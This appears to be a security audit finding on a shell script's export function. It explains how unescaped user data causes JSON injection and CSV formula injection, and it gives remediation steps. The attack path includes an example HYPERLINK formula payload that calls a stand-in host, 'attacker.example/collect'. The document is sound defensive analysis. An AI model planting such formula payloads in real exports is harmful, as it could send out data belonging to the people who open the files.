T09 · Insecure Skill Coding Practices
- Location
scripts/script.sh:64- Finding
Unescaped User-Controlled Data Produces Unsafe JSON and CSV Exports
- Content
View full analysis
Vulnerability Details
File Location:
scripts/script.sh, lines 64-81
Vulnerability Type: Improper output encoding and CSV formula injection
Risk Level: MediumVulnerable Code
bash json) echo "[" > "$out" local first=1 for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do [ $first -eq 1 ] && first=0 || echo "," >> "$out" printf ' {"type":"%s","time":"%s","value":"%s"}' "$name" "$ts" "$val" >> "$out" done < "$f" done echo "\n]" >> "$out" ;; csv) echo "type,time,value" > "$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out"; done < "$f" done ;;Technical Analysis
Values stored by commands such as
scan,monitor, andalertare controlled by the invoking user. The export implementation inserts these values directly into JSON string literals and CSV fields without format-specific encoding.In JSON output, quotation marks, backslashes, newlines, and control characters are not escaped. A value containing characters such as
"}can terminate or alter the intended JSON structure, producing malformed data or injecting additional properties or records.In CSV output, commas, quotation marks, and newlines are not escaped according to CSV rules. In addition, values beginning with spreadsheet formula indicators such as
=,+,-, or@remain active. If the export is opened in spreadsheet software, the value may be interpreted as a formula instead of inert text.Attack Path
- An attacker or untrusted data source causes a crafted value to be recorded, for example through:
bash network-config alert '=HYPERLINK("https://attacker.example/collect",
...[truncated 1191 chars]
- An attacker or untrusted data source causes a crafted value to be recorded, for example through:
- Remediation
View remediation
Remediation Suggestions
- Generate JSON with a dedicated serializer such as
jq, rather than constructing JSON withprintf. - If preserving the zero-dependency design is mandatory, implement and thoroughly test escaping for quotation marks, backslashes, control characters, and newlines.
- Encode CSV fields according to RFC 4180:
- Wrap fields in double quotes.
- Replace each embedded double quote with two double quotes.
- Preserve embedded commas and newlines only inside quoted fields.
- When spreadsheet consumption is expected, neutralize values beginning with
=,+,-,@, tab, or carriage return. Document the chosen neutralization convention. - Add tests covering quotation marks, commas, backslashes, multiline values, control characters, Unicode, and spreadsheet formula prefixes.
- Treat exported files as untrusted data when consumed by downstream tools.
- Generate JSON with a dedicated serializer such as
